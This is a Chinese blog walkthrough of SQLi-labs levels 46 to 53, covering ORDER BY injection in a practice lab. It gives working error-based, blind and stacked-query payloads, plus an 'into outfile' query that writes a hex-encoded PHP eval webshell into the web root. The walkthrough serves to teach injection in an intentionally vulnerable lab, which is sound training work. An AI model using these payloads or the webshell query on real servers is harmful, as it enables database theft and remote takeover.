AD.WN

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入（46~53）

文章目录

1. SqliLab_Mysql_Injection详解_字符型注入(十三)

1.1. SQL注入_ORDER BY注入
1.2. 原理
1.3. 1.3.ORDER BY 语句的排序方式排序方式

2. SqliLab关卡（包含46,47,48,49,50,51,52,53）（图片占据空间太大，payload具体返回情况均写在每条payload下的注释中）

2.1. SqliLab-46（ORDER BY注入（无字符闭合））：

2.1.1. 初始界面
2.1.2. 判断注入点（关键步骤）
2.1.3. 使用报错注入获取数据库信息
2.1.4. 使用布尔盲注获取数据库信息
2.1.5. 使用时间盲注获取数据库信息
2.1.6. into outfile导出文件（必须满足三个条件）

2.2. SqliLab-47（ORDER BY注入（单引号闭合））：

2.2.1. 初始界面
2.2.2. 判断注入点（关键步骤）
2.2.3. 使用报错注入获取数据库信息
2.2.4. 使用时间盲注获取数据库信息
2.2.5. into outfile导出文件（必须满足三个条件）

2.3. SqliLab-48（ORDER BY注入（无字符闭合））：

2.3.1. 初始界面
2.3.2. 判断注入点（关键步骤）
2.3.3. 使用布尔盲注获取数据库信息
2.3.4. 使用时间盲注获取数据库信息
2.3.5. into outfile导出文件（必须满足三个条件）

2.4. SqliLab-49（ORDER BY注入（单引号闭合））：

2.4.1. 初始界面
2.4.2. 判断注入点（关键步骤）
2.4.3. 使用时间盲注获取数据库信息
2.4.4. into outfile导出文件（必须满足三个条件）

2.5. SqliLab-50（ORDER BY/堆叠注入（无字符闭合））：

2.5.1. 初始界面
2.5.2. 判断注入点（关键步骤）
2.5.3. 使用报错注入获取数据库信息
2.5.4. 使用时间盲注获取数据库信息
2.5.5. into outfile导出文件（必须满足三个条件）

2.6. SqliLab-51（ORDER BY注入（单引号闭合））：

2.6.1. 初始界面
2.6.2. 判断注入点（关键步骤）
2.6.3. 使用报错注入获取数据库信息
2.6.4. 使用时间盲注获取数据库信息
2.6.5. into outfile导出文件（必须满足三个条件）

2.7. SqliLab-52（ORDER BY注入（无字符闭合））：

2.7.1. 初始界面
2.7.2. 判断注入点（关键步骤）
2.7.3. 使用时间盲注获取数据库信息
2.7.4. into outfile导出文件（必须满足三个条件）

2.8. SqliLab-53（ORDER BY注入（单引号闭合））：

2.8.1. 初始界面
2.8.2. 判断注入点（关键步骤）
2.8.3. 使用时间盲注获取数据库信息
2.8.4. into outfile导出文件（必须满足三个条件）

3. 总结

1. SqliLab_Mysql_Injection详解_字符型注入(十三)

1.1. SQL注入_ORDER BY注入

1.2. 原理

order by 语句一般格式是：select * from table order by x；在这里的查询语句，order by还是根据数据库表的字段数量来排序的

1.3. 1.3.ORDER BY 语句的排序方式排序方式

EG：

SELECT * from users order by 1 ASC 
//升序，不加ASC时默认也是升序;
SELECT * from users order by 1 DESC 
//降序;

2. SqliLab关卡（包含46,47,48,49,50,51,52,53）（图片占据空间太大，payload具体返回情况均写在每条payload下的注释中）

2.1. SqliLab-46（ORDER BY注入（无字符闭合））：

2.1.1. 初始界面

2.1.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（sort），字面意思是分类，考虑可能使用了order by 来进行分类的，尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）（参数值的改变是否造成页面的改变）；
使用order by 判断
EG：

http://192.168.1.104/sql/Less-46/?sort=1 --+
//页面返回正确，查看到以（id）的升序排列分类的，查看是否存在页面差，尝试使用order by的降序排列分类；
http://192.168.1.104/sql/Less-46/?sort=1 desc --+
//页面返回正确，查看到以（id）的降序排列分类的，判断出参数（sort）存在order by注入，无字符闭合;

使用rand(true)和rand(false) 判断
EG：

http://192.168.1.104/sql/Less-46/?sort=rand(true) --+
//页面返回正确，查看到以（id）的随机排列分类的，查看是否存在页面差，尝试使用rand(false)的随机排列分类；
http://192.168.1.104/sql/Less-46/?sort=rand(false) --+
//页面返回正确，查看到以（id）的另一种随机排列分类的，判断出参数（sort）存在order by注入;

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-46/?sort=1'))) --+
//服务器返回页面错误，同时发现存在SQL语句报错提示；
//经过判断，存在SQL语句报错提示；

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-46/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-46/?sort=1 and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

经过对参数（sort）测试，发现参数（sort）存在order by 注入，无闭合字符，权限过高可以直接写入shell（网站绝对路径已知，有导出文件权限）（此处secure-file-priv=null），同时发现服务器返回页面存在SQL语句报错提示和返回页面只有正确与错误，可以考虑使用报错注入或者布尔/时间盲注的方式来获取数据库信息，下面进行测试；

2.1.3. 使用报错注入获取数据库信息

EG：

http://192.168.1.104/sql/Less-46/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了当前数据库名为（security）,MySQL版本为（5.5.53），用户为（root@）;
...

2.1.4. 使用布尔盲注获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-46/?sort=rand(left(database(),1)='s') --+
//服务器返回页面与（sort=rand(true)）结果一样，查询到当前数据库名的第一个字符为（s）；
...

2.1.5. 使用时间盲注获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-46/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误，有较长的时间延迟，查询到当前数据库名的第一个字符的第一个ASCII值为（115）；
...

2.1.6. into outfile导出文件（必须满足三个条件）

EG：

http://192.168.1.104/sql/Less-46/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-46\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样，至此，SqliLab-46结束；

2.2. SqliLab-47（ORDER BY注入（单引号闭合））：

2.2.1. 初始界面

2.2.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（sort），字面意思是分类，考虑可能使用了order by 来进行分类的，尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）（参数值的改变是否造成页面的改变），由于在数据库中进行尝试构造order by语句发现，order by 后面的x的值，如果被单引号或者双引号之类的字符闭合时，无法使用order by 语句，所以这里先假设参数（sort）存在注入，同时判断服务器返回页面是否存在SQL语句报错提示，如果存在，则使用报错注入构造payload，如果有数据库的信息被显示，则证明该参数存在注入，以及判断出它的闭合字符（或者直接用时间盲注去判断是否存在注入）；

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-47/?sort=1'))) --+
//服务器返回页面错误，同时发现存在SQL语句报错提示；
//经过判断，存在SQL语句报错提示；

使用order by 判断
EG：

http://192.168.1.104/sql/Less-47/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回正确，无报错信息显示数据库信息，尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-47/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回错误，有报错信息显示数据库信息，判断出参数（sort）存在order by注入,闭合字符为（'）;

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-47/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-47/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

经过对参数（sort）测试，发现参数（sort）存在order by 注入，闭合字符为（’），权限过高可以直接写入shell（网站绝对路径已知，有导出文件权限）（此处secure-file-priv=null），同时发现服务器返回页面存在SQL语句报错提示和无回显信息，可以考虑使用报错注入或者时间盲注的方式来获取数据库信息，下面进行测试；

2.2.3. 使用报错注入获取数据库信息

EG：

http://192.168.1.104/sql/Less-47/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了当前数据库名为（security）,MySQL版本为（5.5.53），用户为（root@）;
...

2.2.4. 使用时间盲注获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-47/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误，有较长的时间延迟，查询到当前数据库名的第一个字符的第一个ASCII值为（115）；
...

2.2.5. into outfile导出文件（必须满足三个条件）

EG：

http://192.168.1.104/sql/Less-47/?sort=1'  into outfile"G:\\Phpstudy\\WWW\\sql\\Less-47\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样，至此，SqliLab-47结束；

2.3. SqliLab-48（ORDER BY注入（无字符闭合））：

2.3.1. 初始界面

2.3.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（sort），字面意思是分类，考虑可能使用了order by 来进行分类的，尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）（参数值的改变是否造成页面的改变），观察到初始页面同SqliLab-47相似，可能存在类似的注入，按照SqliLab-47的步骤尝试；

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-48/?sort=1'))) --+
//服务器返回页面错误，没有发现存在SQL语句报错提示，再次尝试;
http://192.168.1.104/sql/Less-48/?sort=1""^&)) --+
//服务器返回页面错误，没有发现存在SQL语句报错提示，再次尝试;
...
//经过判断，不存在SQL语句报错提示；

使用order by 判断
EG：

http://192.168.1.104/sql/Less-48/?sort=1 --+
//页面返回正确（预期正确），查看到以（id）的升序排列分类的，查看是否存在页面差，尝试使用（sort=1 DESC）进行构造；
http://192.168.1.104/sql/Less-48/?sort=1 DESC
//页面返回正确（预期正确），查看到以（id）的降序排列分类的，判断出参数（sort）存在order by注入,无闭合字符为;

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-48/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-48/?sort=1 and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

经过对参数（sort）测试，发现参数（sort）存在order by 注入，无闭合字符，权限过高可以直接写入shell（网站绝对路径已知，有导出文件权限）（此处secure-file-priv=null），同时发现服务器返回页面只有正确与错误，可以考虑使用布尔/时间盲注的方式来获取数据库信息，下面进行测试；

2.3.3. 使用布尔盲注获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-48/?sort=rand(left(database(),1)='s') --+
//服务器返回页面与（sort=rand(true)）结果一样，查询到当前数据库名的第一个字符为（s）；
...

2.3.4. 使用时间盲注获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-48/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误，有较长的时间延迟，查询到当前数据库名的第一个字符的第一个ASCII值为（115）；
...

2.3.5. into outfile导出文件（必须满足三个条件）

EG：

http://192.168.1.104/sql/Less-48/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-48\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样，至此，SqliLab-48结束；

2.4. SqliLab-49（ORDER BY注入（单引号闭合））：

2.4.1. 初始界面

2.4.2. 判断注入点（关键步骤）

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-49/?sort=1'))) --+
//服务器返回页面错误，没有发现存在SQL语句报错提示，再次尝试;
http://192.168.1.104/sql/Less-49/?sort=1""^&)) --+
//服务器返回页面错误，没有发现存在SQL语句报错提示，再次尝试;
...
//经过判断，不存在SQL语句报错提示；

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-49/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面正确，但无较长时间延迟，尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-49/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-49/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

经过对参数（sort）测试，发现参数（sort）存在order by 注入，闭合字符为（’），权限过高可以直接写入shell（网站绝对路径已知，有导出文件权限）（此处secure-file-priv=null），同时发现服务器返回页面无回显信息，可以考虑使用时间盲注的方式来获取数据库信息，下面进行测试；

2.4.3. 使用时间盲注获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-49/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误，有较长的时间延迟，查询到当前数据库名的第一个字符的第一个ASCII值为（115）；
...

2.4.4. into outfile导出文件（必须满足三个条件）

EG：

http://192.168.1.104/sql/Less-49/?sort=1' into outfile"G:\\Phpstudy\\WWW\\sql\\Less-49\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样，至此，SqliLab-49结束；

2.5. SqliLab-50（ORDER BY/堆叠注入（无字符闭合））：

2.5.1. 初始界面

2.5.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（sort），字面意思是分类，考虑可能使用了order by 来进行分类的，尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）（参数值的改变是否造成页面的改变）;

使用order by 判断
EG：

http://192.168.1.104/sql/Less-50/?sort=1 --+
//页面返回正确（预期正确），查看到以（id）的升序排列分类的，查看是否存在页面差，尝试使用（sort=1 DESC）进行构造；
http://192.168.1.104/sql/Less-50/?sort=1 DESC
//页面返回正确（预期正确），查看到以（id）的降序排列分类的，判断出参数（sort）存在order by注入,无闭合字符;

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-50/?sort=1'))) --+
//服务器返回页面错误，发现存在SQL语句报错提示;
//经过判断，存在SQL语句报错提示；

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-50/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-47/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

判断是否存在堆叠注入
EG：

http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//服务器返回页面错误，同时有报错提示，查询到当前Mysql中的数据库有（information_schema,challenges,mysql,performance_schema,security,test）,尝试使用堆叠注入新增一个数据库（hack_test）；
http://192.168.1.104/sql/Less-50/?sort=1;create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库；
http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//查询到数据库有（information_schema,challenges,hack_test,mysql,performance_schema,security,test），发现Mysql中已经新增了一个名叫hack_test的数据库；
//经过判断，存在堆叠注入；

经过对参数（sort）测试，发现参数（sort）存在order by 注入，无闭合字符，存在堆叠注入，权限过高可以直接写入shell（网站绝对路径已知，有导出文件权限）（此处secure-file-priv=null），同时发现服务器返回页面存在SQL语句报错提示和无回显信息，可以考虑使用报错注入和时间盲注的方式来获取数据库信息，下面进行测试；

2.5.3. 使用报错注入获取数据库信息

EG：

http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了当前数据库名为（security）,MySQL版本为（5.5.53），用户为（root@）;
...

2.5.4. 使用时间盲注获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-50/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误，有较长的时间延迟，查询到当前数据库名的第一个字符的第一个ASCII值为（115）；
...

2.5.5. into outfile导出文件（必须满足三个条件）

EG：

http://192.168.1.104/sql/Less-50/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-50\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样，至此，SqliLab-50结束；

2.6. SqliLab-51（ORDER BY注入（单引号闭合））：

2.6.1. 初始界面

2.6.2. 判断注入点（关键步骤）

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-51/?sort=1'))) --+
//服务器返回页面错误，发现存在SQL语句报错提示;
//经过判断，存在SQL语句报错提示；

使用order by 判断
EG：

http://192.168.1.104/sql/Less-51/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回正确，无报错信息显示数据库信息，尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回错误，有报错信息显示数据库信息，判断出参数（sort）存在order by注入,闭合字符为（'）;

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-51/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-51/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

判断是否存在堆叠注入
EG：

http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//服务器返回页面错误，同时有报错提示，查询到当前Mysql中的数据库有（information_schema,challenges,mysql,performance_schema,security,test）,尝试使用堆叠注入新增一个数据库（hack_test）；
http://192.168.1.104/sql/Less-51/?sort=1';create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库；
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//查询到数据库有（information_schema,challenges,hack_test,mysql,performance_schema,security,test），发现Mysql中已经新增了一个名叫hack_test的数据库；
//经过判断，存在堆叠注入；

经过对参数（sort）测试，发现参数（sort）存在order by 注入，闭合字符为（’），存在堆叠注入，权限过高可以直接写入shell（网站绝对路径已知，有导出文件权限）（此处secure-file-priv=null），同时发现服务器返回页面存在SQL语句报错提示和无回显信息，可以考虑使用报错注入和时间盲注的方式来获取数据库信息，下面进行测试；

2.6.3. 使用报错注入获取数据库信息

EG：

http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误，同时发现SQL语句报错提示显示了当前数据库名为（security）,MySQL版本为（5.5.53），用户为（root@）;
...

2.6.4. 使用时间盲注获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-51/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误，有较长的时间延迟，查询到当前数据库名的第一个字符的第一个ASCII值为（115）；
...

2.6.5. into outfile导出文件（必须满足三个条件）

EG：

http://192.168.1.104/sql/Less-51/?sort=1' into outfile"G:\\Phpstudy\\WWW\\sql\\Less-51\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样，至此，SqliLab-51结束；

2.7. SqliLab-52（ORDER BY注入（无字符闭合））：

2.7.1. 初始界面

2.7.2. 判断注入点（关键步骤）

使用order by 判断（rand(true)/rand(false)也行）
EG：

http://192.168.1.104/sql/Less-52/?sort=1 --+
//页面返回正确（预期正确），查看到以（id）的升序排列分类的，查看是否存在页面差，尝试使用（sort=1 DESC）进行构造；
http://192.168.1.104/sql/Less-52/?sort=1 DESC
//页面返回正确（预期正确），查看到以（id）的降序排列分类的，判断出参数（sort）存在order by注入,无闭合字符;

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-52/?sort=1'))) --+
//服务器返回页面错误，没有发现存在SQL语句报错提示，再次尝试;
http://192.168.1.104/sql/Less-52/?sort=1""^&)) --+
//服务器返回页面错误，没有发现存在SQL语句报错提示，再次尝试;
...
//经过判断，不存在SQL语句报错提示；

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-52/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-52/?sort=1 and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

判断是否存在堆叠注入
EG：

http://192.168.1.104/sql/Less-52/?sort=rand(left((select group_concat(schema_name) from information_schema.schemata),1)='i') --+
//服务器返回页面同（sort=rand（true））一样，查询到Mysql中存在的数据库字符串中的第一个字符为（i）,再次尝试；
...
//查询到Mysql中的数据库有（information_schema,challenges,mysql,performance_schema,security,test），尝试使用堆叠注入新增一个数据库（hack_test）
http://192.168.1.104/sql/Less-52/?sort=1;create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库；
http://192.168.1.104/sql/Less-52/?sort=rand(left((select group_concat(schema_name) from information_schema.schemata),31)='information_schema,challenges,h') --+
//服务器返回页面同（sort=rand（true））一样，查询到Mysql中存在的数据库字符串中的第三十一个字符为（h）,再次尝试；
...
http://192.168.1.104/sql/Less-52/?sort=rand(left((select group_concat(schema_name) from information_schema.schemata),39)='information_schema,challenges,hack_test') --+
//查询到数据库有（information_schema,challenges,hack_test,mysql,performance_schema,security,test）,发现Mysql中已经新增了一个名叫hack_test的数据库；
//经过判断，存在堆叠注入；

经过对参数（sort）测试，发现参数（sort）存在order by 注入，无闭合字符，存在堆叠注入，权限过高可以直接写入shell（网站绝对路径已知，有导出文件权限）（此处secure-file-priv=null），同时发现服务器返回页面不存在SQL语句报错提示和无回显信息，可以考虑使用时间盲注的方式来获取数据库信息，下面进行测试；

2.7.3. 使用时间盲注获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-52/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误，有较长的时间延迟，查询到当前数据库名的第一个字符的第一个ASCII值为（115）；
...

2.7.4. into outfile导出文件（必须满足三个条件）

EG：

http://192.168.1.104/sql/Less-52/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-52\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样，至此，SqliLab-52结束；

2.8. SqliLab-53（ORDER BY注入（单引号闭合））：

2.8.1. 初始界面

2.8.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（sort），字面意思是分类，考虑可能使用了order by 来进行分类的，尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）（参数值的改变是否造成页面的改变）；

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-53/?sort=1'))) --+
//服务器返回页面错误，没有发现存在SQL语句报错提示，再次尝试;
http://192.168.1.104/sql/Less-53/?sort=1""^&)) --+
//服务器返回页面错误，没有发现存在SQL语句报错提示，再次尝试;
...
//经过判断，不存在SQL语句报错提示；

判断是否存在时间盲注
EG：

http://192.168.1.104/sql/Less-53/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟，尝试使用（'）代替（）构造；
http://192.168.1.104/sql/Less-53/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误，有较长时间延迟，尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-53/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确，无较长时间延迟；
//经过判断，存在时间盲注；

判断是否存在堆叠注入
EG：

http://192.168.1.104/sql/Less-53/?sort=1' and if(left((select group_concat(schema_name) from information_schema.schemata),1)='i',sleep(5),1) --+
//服务器返回页面存较长时间延迟，查询到Mysql中存在的数据库字符串中的第一个字符为（i）,再次尝试；
...
//查询到Mysql中的数据库有（information_schema,challenges,mysql,performance_schema,security,test），尝试使用堆叠注入新增一个数据库（hack_test）
http://192.168.1.104/sql/Less-53/?sort=1';create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库；
http://192.168.1.104/sql/Less-53/?sort=1' and if(left((select group_concat(schema_name) from information_schema.schemata),31)='information_schema,challenges,h',sleep(5),1) --+
//服务器返回页面存较长时间延迟，查询到Mysql中存在的数据库字符串中的第三十一个字符为（h）,再次尝试；
...
http://192.168.1.104/sql/Less-53/?sort=1' and if(left((select group_concat(schema_name) from information_schema.schemata),39)='information_schema,challenges,hack_test',sleep(5),1) --+
//服务器返回页面存较长时间延迟，查询到数据库有（information_schema,challenges,hack_test,mysql,performance_schema,security,test）,发现Mysql中已经新增了一个名叫hack_test的数据库；
//经过判断，存在堆叠注入；

经过对参数（sort）测试，发现参数（sort）存在order by 注入，闭合字符为（’），存在堆叠注入，权限过高可以直接写入shell（网站绝对路径已知，有导出文件权限）（此处secure-file-priv=null），同时发现服务器返回页面不存在SQL语句报错提示和无回显信息，可以考虑使用时间盲注的方式来获取数据库信息，下面进行测试；

2.8.3. 使用时间盲注获取数据库信息

EG：

...
http://192.168.1.104/sql/Less-53/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误，有较长的时间延迟，查询到当前数据库名的第一个字符的第一个ASCII值为（115）；
...

2.8.4. into outfile导出文件（必须满足三个条件）

EG：

http://192.168.1.104/sql/Less-53/?sort=1' into outfile"G:\\Phpstudy\\WWW\\sql\\Less-53\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

3. 总结

ORDER BY 注入一般适用于高权限的注入（后期注入），只要满足高权限注入的条件（当前连接用户拥有高权限（File_priv 权限），允许写入导出文件（secure-file-priv变量值不为null），知晓网站根目录），就能给服务器写入webshell；对于练习题中的order by语句后面的x（以x字段排序），如果存在字符闭合，则要使用报错注入/时间盲注的方式来判断是否存在闭合字符；反之，如果没有闭合字符（数字型），则可以用order by 语句自身的（ASC，DESC）和rand(TRUE)/rand(FALSE)来判断参数是否存在注入；最后，关键的还是注入点的判断。

[如有错误，请指出，拜托了<( _ _ )> ！！！]

你可能感兴趣的:(#,MYSQL注入学习)

情绪觉察日记第37天露露_e800
今天是家庭关系规划师的第二阶最后一天，慧萍老师帮我做了个案，帮我处理了埋在心底好多年的一份恐惧，并给了我深深的力量！这几天出来学习，爸妈过来婆家帮我带小孩，妈妈出于爱帮我收拾东西，并跟我先生和婆婆产生矛盾，妈妈觉得他们没有照顾好我…。今晚回家见到妈妈，我很欣赏她并赞扬她，妈妈说今晚要跟我睡我说好，当我们俩躺在床上准备睡觉的时候，我握着妈妈的手对她说:妈妈这几天辛苦你了，你看你多利害把我们的家收拾得
机器学习与深度学习间关系与区别 ℒℴѵℯ心·动ꦿ໊ོ꫞ 人工智能学习深度学习 python
一、机器学习概述定义机器学习（MachineLearning,ML）是一种通过数据驱动的方法，利用统计学和计算算法来训练模型，使计算机能够从数据中学习并自动进行预测或决策。机器学习通过分析大量数据样本，识别其中的模式和规律，从而对新的数据进行判断。其核心在于通过训练过程，让模型不断优化和提升其预测准确性。主要类型1.监督学习（SupervisedLearning）监督学习是指在训练数据集中包含输入
铭刻于星（四十二）随风至
69夜晚，绍敏同学做完功课后，看了眼房外，没听到动静才敢从书包的夹层里拿出那个心形纸团。折痕压得很深，都有些旧了，想来是已经写好很久了。绍敏同学慢慢地、轻轻地捏开折叠处，待到全部拆开后，又反复抚平纸张，然后仔细地一字字默看。只是开头的三个字是第一次看到，让她心漏跳了几拍。“亲爱的绍敏：从四年级的时候，我就喜欢你了，但是我一直不敢说，怕影响你学习。六年级的时候听说有人跟你表白，你接受了，我很难过，但
UI学习——cell的复用和自定义cell Magnetic_h ui 学习
目录cell的复用手动（非注册）自动（注册）自定义cellcell的复用在iOS开发中，单元格复用是一种提高表格（UITableView）和集合视图（UICollectionView）滚动性能的技术。当一个UITableViewCell或UICollectionViewCell首次需要显示时，如果没有可复用的单元格，则视图会创建一个新的单元格。一旦这个单元格滚动出屏幕，它就不会被销毁。相反，它被添
学点心理知识，呵护孩子健康静候花开_7090
昨天听了华中师范大学教育管理学系副教授张玲老师的《哪里才是学生心理健康的最后庇护所，超越教育与技术的思考》的讲座。今天又重新学习了一遍，收获匪浅。张玲博士也注意到了当今社会上的孩子由于心理问题导致的自残、自杀及伤害他人等恶性事件。她向我们普及了一个重要的命题，她说心理健康的一些基本命题，我们与我们通常的一些教育命题是不同的，她还举了几个例子，让我们明白我们原来以为的健康并非心理学上的健康。比如如果
Cell Insight | 单细胞测序技术又一新发现，可用于HIV-1和Mtb共感染个体诊断尐尐呅
